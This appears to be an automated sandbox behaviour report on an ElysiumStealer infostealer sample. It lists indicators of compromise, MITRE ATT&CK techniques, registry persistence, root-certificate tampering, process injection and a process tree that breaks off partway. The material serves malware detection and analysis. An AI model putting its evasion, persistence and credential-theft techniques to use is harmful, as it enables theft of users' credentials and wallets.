elysiumstealer | 90aa6a7c770f2c0f49596731c80fda7d044802dea9e905ff999b39cda5428407

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8397730.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8397730.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	794060.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	794060.exe

Loads dropped DLL 64 IoCs

pid	Process
1820	setup_x86_x64_install.exe
1740	setup_installer.exe
1740	setup_installer.exe
1740	setup_installer.exe
1740	setup_installer.exe
1740	setup_installer.exe
1740	setup_installer.exe
1136	setup_install.exe
1136	setup_install.exe
1136	setup_install.exe
1136	setup_install.exe
1136	setup_install.exe
1136	setup_install.exe
1136	setup_install.exe
1136	setup_install.exe
1176	cmd.exe
1900	cmd.exe
1480	cmd.exe
2012	Tue11d7385a978cc.exe
2012	Tue11d7385a978cc.exe
1564	cmd.exe
1564	cmd.exe
1876	cmd.exe
1876	cmd.exe
692	cmd.exe
692	cmd.exe
1348	cmd.exe
2016	Tue11bc0507b56295.exe
2016	Tue11bc0507b56295.exe
1672	Tue11e4e580f2e8141a3.exe
1672	Tue11e4e580f2e8141a3.exe
1616	cmd.exe
1616	cmd.exe
1748	Tue1109eec571ac.exe
1748	Tue1109eec571ac.exe
608	Tue112c483dd3245d.exe
608	Tue112c483dd3245d.exe
752	cmd.exe
1120	Tue118f55232e4.exe
1120	Tue118f55232e4.exe
1672	Tue11e4e580f2e8141a3.exe
1672	Tue11e4e580f2e8141a3.exe
2256	LzmwAqmV.exe
2256	LzmwAqmV.exe
608	Tue112c483dd3245d.exe
608	Tue112c483dd3245d.exe
608	Tue112c483dd3245d.exe
608	Tue112c483dd3245d.exe
2256	LzmwAqmV.exe
2340	5964056.exe
2340	5964056.exe
2256	LzmwAqmV.exe
2256	LzmwAqmV.exe
2256	LzmwAqmV.exe
2256	LzmwAqmV.exe
2460	Alfanewfile2.exe
2460	Alfanewfile2.exe
2256	LzmwAqmV.exe
1672	Tue11e4e580f2e8141a3.exe
2240	Tue11e4e580f2e8141a3.exe
2240	Tue11e4e580f2e8141a3.exe
2712	8397730.exe
2712	8397730.exe
2256	LzmwAqmV.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 1 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/memory/2712-239-0x0000000000240000-0x0000000000241000-memory.dmp	themida

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	5964056.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	8397730.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	794060.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
54	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2712	8397730.exe
3024	794060.exe

Suspicious use of SetThreadContext 10 IoCs

description	pid	Process	procid_target
PID 1672 set thread context of 2240	1672	Tue11e4e580f2e8141a3.exe	59
PID 1672 set thread context of 2612	1672	Tue11e4e580f2e8141a3.exe	69
PID 1672 set thread context of 2908	1672	Tue11e4e580f2e8141a3.exe	77
PID 1672 set thread context of 1708	1672	Tue11e4e580f2e8141a3.exe	87
PID 1672 set thread context of 1100	1672	Tue11e4e580f2e8141a3.exe	90
PID 1672 set thread context of 2328	1672	Tue11e4e580f2e8141a3.exe	91
PID 1672 set thread context of 1612	1672	Tue11e4e580f2e8141a3.exe	98
PID 1672 set thread context of 2212	1672	Tue11e4e580f2e8141a3.exe	99
PID 1672 set thread context of 2480	1672	Tue11e4e580f2e8141a3.exe	100
PID 1672 set thread context of 2832	1672	Tue11e4e580f2e8141a3.exe	105

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-S1QM8.tmp	setup_2.tmp

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
3292	1020	WerFault.exe	85
1228	2996	WerFault.exe	108
3584	2304	WerFault.exe	61
3660	3128	WerFault.exe	127

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Tue11bc0507b56295.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Tue11bc0507b56295.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Tue11bc0507b56295.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Tue112c483dd3245d.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Tue112c483dd3245d.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
2872	schtasks.exe
3192	schtasks.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
2204	taskkill.exe
2692	taskkill.exe
2388	taskkill.exe
1336	taskkill.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	Tue118f55232e4.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Tue118f55232e4.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Tue112c483dd3245d.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Tue112c483dd3245d.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d0030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Tue112c483dd3245d.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa20f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349040000000100000010000000497904b0eb8719ac47b0bc11519b74d0200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Tue112c483dd3245d.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	48	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2016	Tue11bc0507b56295.exe
2016	Tue11bc0507b56295.exe
1020	5548244.exe
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
608	Tue112c483dd3245d.exe
608	Tue112c483dd3245d.exe
608	Tue112c483dd3245d.exe
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2016	Tue11bc0507b56295.exe

Suspicious use of AdjustPrivilegeToken 60 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	1120	Tue118f55232e4.exe
Token: SeAssignPrimaryTokenPrivilege	1120	Tue118f55232e4.exe
Token: SeLockMemoryPrivilege	1120	Tue118f55232e4.exe
Token: SeIncreaseQuotaPrivilege	1120	Tue118f55232e4.exe
Token: SeMachineAccountPrivilege	1120	Tue118f55232e4.exe
Token: SeTcbPrivilege	1120	Tue118f55232e4.exe
Token: SeSecurityPrivilege	1120	Tue118f55232e4.exe
Token: SeTakeOwnershipPrivilege	1120	Tue118f55232e4.exe
Token: SeLoadDriverPrivilege	1120	Tue118f55232e4.exe
Token: SeSystemProfilePrivilege	1120	Tue118f55232e4.exe
Token: SeSystemtimePrivilege	1120	Tue118f55232e4.exe
Token: SeProfSingleProcessPrivilege	1120	Tue118f55232e4.exe
Token: SeIncBasePriorityPrivilege	1120	Tue118f55232e4.exe
Token: SeCreatePagefilePrivilege	1120	Tue118f55232e4.exe
Token: SeCreatePermanentPrivilege	1120	Tue118f55232e4.exe
Token: SeBackupPrivilege	1120	Tue118f55232e4.exe
Token: SeRestorePrivilege	1120	Tue118f55232e4.exe
Token: SeShutdownPrivilege	1120	Tue118f55232e4.exe
Token: SeDebugPrivilege	1120	Tue118f55232e4.exe
Token: SeAuditPrivilege	1120	Tue118f55232e4.exe
Token: SeSystemEnvironmentPrivilege	1120	Tue118f55232e4.exe
Token: SeChangeNotifyPrivilege	1120	Tue118f55232e4.exe
Token: SeRemoteShutdownPrivilege	1120	Tue118f55232e4.exe
Token: SeUndockPrivilege	1120	Tue118f55232e4.exe
Token: SeSyncAgentPrivilege	1120	Tue118f55232e4.exe
Token: SeEnableDelegationPrivilege	1120	Tue118f55232e4.exe
Token: SeManageVolumePrivilege	1120	Tue118f55232e4.exe
Token: SeImpersonatePrivilege	1120	Tue118f55232e4.exe
Token: SeCreateGlobalPrivilege	1120	Tue118f55232e4.exe
Token: 31	1120	Tue118f55232e4.exe
Token: 32	1120	Tue118f55232e4.exe
Token: 33	1120	Tue118f55232e4.exe
Token: 34	1120	Tue118f55232e4.exe
Token: 35	1120	Tue118f55232e4.exe
Token: SeDebugPrivilege	1020	5548244.exe
Token: SeDebugPrivilege	540	Tue11f251db82fb7b.exe
Token: SeDebugPrivilege	1540	Tue11141271fbe5877f.exe
Token: SeDebugPrivilege	2204	taskkill.exe
Token: SeDebugPrivilege	2496	2.exe
Token: SeDebugPrivilege	2424	PublicDwlBrowser1100.exe
Token: SeDebugPrivilege	2304	2023952.exe
Token: SeShutdownPrivilege	1296	Process not Found
Token: SeShutdownPrivilege	1296	Process not Found
Token: SeDebugPrivilege	2692	taskkill.exe
Token: SeShutdownPrivilege	1296	Process not Found
Token: SeShutdownPrivilege	1296	Process not Found
Token: SeShutdownPrivilege	1296	Process not Found
Token: SeShutdownPrivilege	1296	Process not Found
Token: SeDebugPrivilege	3036	BearVpn 3.exe
Token: SeDebugPrivilege	2712	8397730.exe
Token: SeDebugPrivilege	1020	5548244.exe
Token: SeShutdownPrivilege	1296	Process not Found
Token: SeDebugPrivilege	3024	794060.exe
Token: SeShutdownPrivilege	1296	Process not Found
Token: SeShutdownPrivilege	1296	Process not Found
Token: SeShutdownPrivilege	1296	Process not Found
Token: SeDebugPrivilege	2388	taskkill.exe
Token: SeDebugPrivilege	2352	46807GHF____.exe
Token: SeShutdownPrivilege	1296	Process not Found
Token: SeShutdownPrivilege	1296	Process not Found

Suspicious use of FindShellTrayWindow 9 IoCs

pid	Process
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1944	setup_2.tmp

Suspicious use of SendNotifyMessage 8 IoCs

pid	Process
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found
1296	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1820 wrote to memory of 1740	1820	setup_x86_x64_install.exe	26
PID 1820 wrote to memory of 1740	1820	setup_x86_x64_install.exe	26
PID 1820 wrote to memory of 1740	1820	setup_x86_x64_install.exe	26
PID 1820 wrote to memory of 1740	1820	setup_x86_x64_install.exe	26
PID 1820 wrote to memory of 1740	1820	setup_x86_x64_install.exe	26
PID 1820 wrote to memory of 1740	1820	setup_x86_x64_install.exe	26
PID 1820 wrote to memory of 1740	1820	setup_x86_x64_install.exe	26
PID 1740 wrote to memory of 1136	1740	setup_installer.exe	27
PID 1740 wrote to memory of 1136	1740	setup_installer.exe	27
PID 1740 wrote to memory of 1136	1740	setup_installer.exe	27
PID 1740 wrote to memory of 1136	1740	setup_installer.exe	27
PID 1740 wrote to memory of 1136	1740	setup_installer.exe	27
PID 1740 wrote to memory of 1136	1740	setup_installer.exe	27
PID 1740 wrote to memory of 1136	1740	setup_installer.exe	27
PID 1136 wrote to memory of 584	1136	setup_install.exe	31
PID 1136 wrote to memory of 584	1136	setup_install.exe	31
PID 1136 wrote to memory of 584	1136	setup_install.exe	31
PID 1136 wrote to memory of 584	1136	setup_install.exe	31
PID 1136 wrote to memory of 584	1136	setup_install.exe	31
PID 1136 wrote to memory of 584	1136	setup_install.exe	31
PID 1136 wrote to memory of 584	1136	setup_install.exe	31
PID 1136 wrote to memory of 1176	1136	setup_install.exe	33
PID 1136 wrote to memory of 1176	1136	setup_install.exe	33
PID 1136 wrote to memory of 1176	1136	setup_install.exe	33
PID 1136 wrote to memory of 1176	1136	setup_install.exe	33
PID 1136 wrote to memory of 1176	1136	setup_install.exe	33
PID 1136 wrote to memory of 1176	1136	setup_install.exe	33
PID 1136 wrote to memory of 1176	1136	setup_install.exe	33
PID 1136 wrote to memory of 1480	1136	setup_install.exe	35
PID 1136 wrote to memory of 1480	1136	setup_install.exe	35
PID 1136 wrote to memory of 1480	1136	setup_install.exe	35
PID 1136 wrote to memory of 1480	1136	setup_install.exe	35
PID 1136 wrote to memory of 1480	1136	setup_install.exe	35
PID 1136 wrote to memory of 1480	1136	setup_install.exe	35
PID 1136 wrote to memory of 1480	1136	setup_install.exe	35
PID 1136 wrote to memory of 1900	1136	setup_install.exe	52
PID 1136 wrote to memory of 1900	1136	setup_install.exe	52
PID 1136 wrote to memory of 1900	1136	setup_install.exe	52
PID 1136 wrote to memory of 1900	1136	setup_install.exe	52
PID 1136 wrote to memory of 1900	1136	setup_install.exe	52
PID 1136 wrote to memory of 1900	1136	setup_install.exe	52
PID 1136 wrote to memory of 1900	1136	setup_install.exe	52
PID 584 wrote to memory of 1020	584	cmd.exe	36
PID 584 wrote to memory of 1020	584	cmd.exe	36
PID 584 wrote to memory of 1020	584	cmd.exe	36
PID 584 wrote to memory of 1020	584	cmd.exe	36
PID 584 wrote to memory of 1020	584	cmd.exe	36
PID 584 wrote to memory of 1020	584	cmd.exe	36
PID 584 wrote to memory of 1020	584	cmd.exe	36
PID 1136 wrote to memory of 1876	1136	setup_install.exe	37
PID 1136 wrote to memory of 1876	1136	setup_install.exe	37
PID 1136 wrote to memory of 1876	1136	setup_install.exe	37
PID 1136 wrote to memory of 1876	1136	setup_install.exe	37
PID 1136 wrote to memory of 1876	1136	setup_install.exe	37
PID 1136 wrote to memory of 1876	1136	setup_install.exe	37
PID 1136 wrote to memory of 1876	1136	setup_install.exe	37
PID 1136 wrote to memory of 1564	1136	setup_install.exe	51
PID 1136 wrote to memory of 1564	1136	setup_install.exe	51
PID 1136 wrote to memory of 1564	1136	setup_install.exe	51
PID 1136 wrote to memory of 1564	1136	setup_install.exe	51
PID 1136 wrote to memory of 1564	1136	setup_install.exe	51
PID 1136 wrote to memory of 1564	1136	setup_install.exe	51
PID 1136 wrote to memory of 1564	1136	setup_install.exe	51
PID 1176 wrote to memory of 2012	1176	cmd.exe	50

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1820
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1740
- - C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zSCC6348B4\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
